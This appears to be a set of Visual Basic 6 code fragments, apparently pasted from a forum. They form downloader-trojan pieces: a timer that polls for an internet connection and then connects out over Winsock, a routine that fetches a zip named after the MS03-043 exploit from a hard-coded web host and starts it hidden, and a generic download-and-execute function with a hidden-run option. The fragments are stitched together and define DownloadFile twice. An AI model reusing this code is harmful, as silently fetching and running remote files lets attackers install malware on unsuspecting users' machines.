Private Sub Form_Load()

Timer1.Enabled = True

End Sub

Private Sub Timer1_Timer()
Verifica:

Dim Flag As Long
InternetGetConnectedState Flag, 0

Dim flags As Long
Dim result As Boolean

    result = InternetGetConnectedState(flags, 0)

    If result Then
        Timer1.Enabled = False
        Conectar
    Else
     Timer1.Enabled = True
     GoTo Verifica
    End If
     
 End Sub

Private Sub WS_Close()
Timer1.Enabled = True
End Sub

Private Sub WS_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
If WS.State <> sckConnected Then
WS.Close
End If
End Sub

[code]

Option Explicit

Private Declare Function URLDownloadToFile Lib "urlmon.dll" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Public Function DownloadFile(url As String, LocalFileName As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, url, LocalFileName, 0, 0)
DownloadFile = (lngRetVal = 0)
End Function

Private Sub Command1_Click()
Dim url As String
Dim file As String
Dim ret As String

url = "http://www.terra.es/personal3/fistror/e/MS03-043.zip"
file = Environ("homedrive") & "\jaja.zip"

Call DownloadFile(url, file)

ret = Shell("start " & Chr(34) & file & Chr(34), vbHide)

End Sub

Function DownloadFile(ByVal url As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear
 
    Set XML = CreateObject("Microsoft.XMLHTTP")
    Set ADS = CreateObject("ADODB.Stream")
 
    XML.Open "GET", url, False
    XML.send
 
    XML.getAllResponseHeaders
 
    FullSavePath = Environ(SavePath) & "\" & SaveName
 
    ADS.Open
    ADS.Type = 1
    ADS.Write XML.responseBody
    ADS.SaveToFile FullSavePath, 2
 
    If Err Then
        DownloadFile = False
    Else
        If RunAfterDownload = True Then
            If RunHide = True Then
                Shell FullSavePath, vbHide
            Else
                Shell FullSavePath, vbNormalFocus
            End If
        End If
        DownloadFile = True
    End If
End Function